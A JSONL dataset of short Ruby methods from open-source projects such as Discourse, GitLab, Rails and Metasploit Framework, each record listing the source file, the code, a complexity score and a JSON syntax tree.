{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/translation.rb","start_line":37,"raw_source":"def self.llm_model_for_persona(persona_id)\n      return nil if persona_id.blank?\n\n      ai_persona = AiPersona.find_by_id_from_cache(persona_id)\n      return nil if ai_persona.blank?\n\n      persona_klass = ai_persona.class_instance\n      BaseTranslator.preferred_llm_model(persona_klass)\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"llm_model_for_persona\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"persona_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona_id\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ai_persona\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiPersona\"]},\"find_by_id_from_cache\",{\"type\":\"lvar\",\"children\":[\"persona_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_persona\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"persona_klass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_persona\"]},\"class_instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BaseTranslator\"]},\"preferred_llm_model\",{\"type\":\"lvar\",\"children\":[\"persona_klass\"]}]}]}]}","id":"9c2fcf81-cce0-45e0-94f2-6604ce97afac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/identifier.rb","start_line":7,"raw_source":"def identify(identifier)\n      case identifier\n      when /\\Auser-\\d+\\Z/\n        # git push over http\n        identify_using_user(identifier)\n      when /\\Akey-\\d+\\Z/\n        # git push over ssh. will not return a user for deploy keys.\n        # identify_using_deploy_key instead.\n        identify_using_ssh_key(identifier)\n      end\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"identify\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identifier\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\Auser-\\\\d+\\\\Z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"identify_using_user\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\Akey-\\\\d+\\\\Z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"identify_using_ssh_key\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]},null]}]}","id":"f973c0a8-1f8f-41e8-8ffa-7b6fd320c25d"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20190908233325_add_secure_identifier_column_to_users.rb","start_line":4,"raw_source":"def change\n    add_column :users, :secure_identifier, :string\n    add_index :users, :secure_identifier, unique: true\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"secure_identifier\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"secure_identifier\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"0da6c0b9-878d-4846-b4b8-6f2c52147605"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups_finder.rb","start_line":81,"raw_source":"def groups_with_min_access_level\n    inner_query = current_user\n      .groups\n      .where('members.access_level >= ?', params[:min_access_level])\n      .self_and_descendants\n    cte = Gitlab::SQL::CTE.new(:groups_with_min_access_level_cte, inner_query)\n    cte.apply_to(Group.where({}))\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"groups_with_min_access_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inner_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"groups\"]},\"where\",{\"type\":\"str\",\"children\":[\"members.access_level >= ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min_access_level\"]}]}]},\"self_and_descendants\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cte\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SQL\"]},\"CTE\"]},\"new\",{\"type\":\"sym\",\"children\":[\"groups_with_min_access_level_cte\"]},{\"type\":\"lvar\",\"children\":[\"inner_query\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cte\"]},\"apply_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"where\",{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"29f59ee9-4d1c-4d26-b4c9-4ae980083169"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":1119,"raw_source":"def test_should_render_formatted_html_erb_template_with_faulty_accepts_header\n    @request.accept = \"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\"\n    get :formatted_xml_erb\n    assert_equal \"<test>passed formatted HTML erb</test>\", @response.body\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_render_formatted_html_erb_template_with_faulty_accepts_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"accept=\",{\"type\":\"str\",\"children\":[\"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"formatted_xml_erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<test>passed formatted HTML erb</test>\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"090910d9-b89b-48b9-8fb1-d174659a4971"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/cleanup/update_policy_service.rb","start_line":8,"raw_source":"def execute\n        return ServiceResponse.error(message: 'Access denied') unless allowed?\n\n        if policy.update(policy_params)\n          ServiceResponse.success(payload: { packages_cleanup_policy: policy })\n        else\n          ServiceResponse.error(message: policy.errors.full_messages.to_sentence || 'Bad request')\n        end\n      end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Access denied\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"policy\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"policy_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"packages_cleanup_policy\"]},{\"type\":\"send\",\"children\":[null,\"policy\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"policy\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]},{\"type\":\"str\",\"children\":[\"Bad request\"]}]}]}]}]}]}]}]}","id":"842f26bb-df3b-4592-ae0e-f078fcff0ee5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/pac/krb5_pac.rb","start_line":953,"raw_source":"def calculate_checksum(signature_type, key, data)\n      checksummer = Rex::Proto::Kerberos::Crypto::Checksum.from_checksum_type(signature_type)\n      checksummer.checksum(key, Rex::Proto::Kerberos::Crypto::KeyUsage::KERB_NON_KERB_CKSUM_SALT, data)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"signature_type\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"checksummer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Checksum\"]},\"from_checksum_type\",{\"type\":\"lvar\",\"children\":[\"signature_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checksummer\"]},\"checksum\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"KeyUsage\"]},\"KERB_NON_KERB_CKSUM_SALT\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"5c64d1d9-8765-41c1-a1e2-1969bbcc2d46"}
{"repo_name":"forem","file_path":"./repos/forem/app/helpers/application_helper.rb","start_line":249,"raw_source":"def timeframe_check(given_timeframe)\n    params[:timeframe] == given_timeframe\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"timeframe_check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"given_timeframe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeframe\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"given_timeframe\"]}]}]}","id":"abc43237-19cd-46a1-88e8-abc24272f389"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/user.rb","start_line":361,"raw_source":"def regional_users\n    self.class.regional_users(self)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"regional_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"regional_users\",{\"type\":\"self\",\"children\":[]}]}]}","id":"aefd0442-88f7-41c5-bbd1-245dd071d68d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/finders/repositories/branch_names_finder_spec.rb","start_line":48,"raw_source":"def create_branch_names_finder(offset, limit, search_pattern)\n      described_class.new(project.repository, search: search_pattern, offset: offset, limit: limit)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_branch_names_finder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]},{\"type\":\"arg\",\"children\":[\"limit\"]},{\"type\":\"arg\",\"children\":[\"search_pattern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"lvar\",\"children\":[\"search_pattern\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}]}]}","id":"e3c10f01-f40a-4482-95f7-523c173f423d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/queries/file_path_to_id_map_query.rb","start_line":39,"raw_source":"def initialize(*)\n              super\n              @drive_item_query = Internal::DriveItemQuery.new(@storage)\n              @children_query = Internal::ChildrenQuery.new(@storage)\n            end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@drive_item_query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Internal\"]},\"DriveItemQuery\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@children_query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Internal\"]},\"ChildrenQuery\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]}]}]}","id":"139a4d67-5520-4d60-93d2-4d600cdaf6b9"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/open_graph.rb","start_line":13,"raw_source":"def title_attr\n      !title.nil? ? \"title='#{title}'\" : \"\"\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"title_attr\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"nil?\"]},\"!\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"title='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"8a7f3a9d-da18-44ca-b880-dbef6fc6ff46"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/subscription_adapter/common.rb","start_line":74,"raw_source":"def test_multiple_broadcast\n    subscribe_as_queue(\"channel\") do |queue|\n      @tx_adapter.broadcast(\"channel\", \"bananas\")\n      @tx_adapter.broadcast(\"channel\", \"apples\")\n\n      received = []\n      2.times { received << queue.pop }\n      assert_equal [\"apples\", \"bananas\"], received.sort\n    end\n  end","complexity_score":13.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiple_broadcast\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscribe_as_queue\",{\"type\":\"str\",\"children\":[\"channel\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tx_adapter\"]},\"broadcast\",{\"type\":\"str\",\"children\":[\"channel\"]},{\"type\":\"str\",\"children\":[\"bananas\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tx_adapter\"]},\"broadcast\",{\"type\":\"str\",\"children\":[\"channel\"]},{\"type\":\"str\",\"children\":[\"apples\"]}]},{\"type\":\"lvasgn\",\"children\":[\"received\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"received\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"pop\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"apples\"]},{\"type\":\"str\",\"children\":[\"bananas\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"received\"]},\"sort\"]}]}]}]}]}","id":"47355a47-aa26-4a9b-9518-5f75957a0297"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/charts.rb","start_line":26,"raw_source":"def totals(status: :all)\n          collect if @labels.empty?\n\n          @totals[status]\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"totals\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"sym\",\"children\":[\"all\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@labels\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"collect\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@totals\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}","id":"610a12df-8f2d-417c-84b8-b9c4f3790659"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/bare_percent_literals.rb","start_line":59,"raw_source":"def requires_bare_percent?(source)\n          style == :bare_percent && source.start_with?('%Q')\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"requires_bare_percent?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"bare_percent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"%Q\"]}]}]}]}","id":"b6af5400-4c4f-47c7-8c78-7b3e78612603"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/mail_helper_test.rb","start_line":78,"raw_source":"def test_use_mail_helper\n    mail = HelperMailer.use_mail_helper\n    assert_match %r{  But soft!}, mail.body.encoded\n    assert_match %r{east, and\\r\\n  Juliet}, mail.body.encoded\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_use_mail_helper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mail\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelperMailer\"]},\"use_mail_helper\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"  But soft!\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail\"]},\"body\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"east, and\\\\r\\\\n  Juliet\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail\"]},\"body\"]},\"encoded\"]}]}]}]}","id":"19b84f46-6499-4992-a63b-94949336cf50"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/windows_registry/registry_parser.rb","start_line":372,"raw_source":"def get_value_blocks(offset, count)\n      value_list = []\n      res = []\n      count.times do |i|\n        value_list << @hive_data[4096+offset+i*4, 4].unpack('l<').first\n      end\n      value_list.each do |value_offset|\n        if value_offset > 0\n          block = get_block(value_offset)\n          res << block\n        end\n      end\n      return res\n    end","complexity_score":25.43,"ast_json":"{\"type\":\"def\",\"children\":[\"get_value_blocks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]},{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value_list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_list\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hive_data\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4096]},\"+\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"int\",\"children\":[4]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"l<\"]}]},\"first\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_list\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value_offset\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_offset\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"block\",{\"type\":\"send\",\"children\":[null,\"get_block\",{\"type\":\"lvar\",\"children\":[\"value_offset\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"3f5544df-be0c-4a2a-832e-d974c9927955"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/blame_controller.rb","start_line":56,"raw_source":"def load_environment\n    environment_params = @repository.branch_exists?(@ref) ? { ref: @ref } : { commit: @commit }\n    environment_params[:find_latest] = true\n    @environment = ::Environments::EnvironmentsByDeploymentsFinder.new(\n      @project,\n      current_user,\n      environment_params\n    ).execute.last\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_environment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"environment_params\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"branch_exists?\",{\"type\":\"ivar\",\"children\":[\"@ref\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"ivar\",\"children\":[\"@ref\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit\"]},{\"type\":\"ivar\",\"children\":[\"@commit\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"find_latest\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@environment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Environments\"]},\"EnvironmentsByDeploymentsFinder\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"environment_params\"]}]},\"execute\"]},\"last\"]}]}]}]}","id":"93104717-e024-49ea-9d24-9fb033f33282"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/user.rb","start_line":117,"raw_source":"def self.create_blocked_scope(scope, blocked)\n    scope.where(blocked_condition(blocked))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_blocked_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"arg\",\"children\":[\"blocked\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"send\",\"children\":[null,\"blocked_condition\",{\"type\":\"lvar\",\"children\":[\"blocked\"]}]}]}]}","id":"9462efed-abc6-432d-849f-f31b4223b2aa"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/event_stream/purging.rb","start_line":7,"raw_source":"def keep_events\n        ::Settings.event_streams.history.keep_events\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"keep_events\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"event_streams\"]},\"history\"]},\"keep_events\"]}]}","id":"9acedb2f-4689-448f-9ca9-c69ee6786134"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/visit.rb","start_line":58,"raw_source":"def async_reverse_geocode\n    return unless DawarichSettings.reverse_geocoding_enabled?\n    return if place.blank?\n\n    ReverseGeocodingJob.perform_later('place', place_id)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"async_reverse_geocode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DawarichSettings\"]},\"reverse_geocoding_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"place\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReverseGeocodingJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"place\"]},{\"type\":\"send\",\"children\":[null,\"place_id\"]}]}]}]}","id":"5cb0c38a-8055-435d-b72f-9369cbad9bfa"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/parser.rb","start_line":238,"raw_source":"def convert_field_type!(record)\n          @type_converters.each_key { |key|\n            if value = record[key]\n              record[key] = convert_type(key, value)\n            end\n          }\n        end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_field_type!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type_converters\"]},\"each_key\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"convert_type\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]}]}]}","id":"899d2bde-393b-4ee8-a6c4-9cc371c29028"}
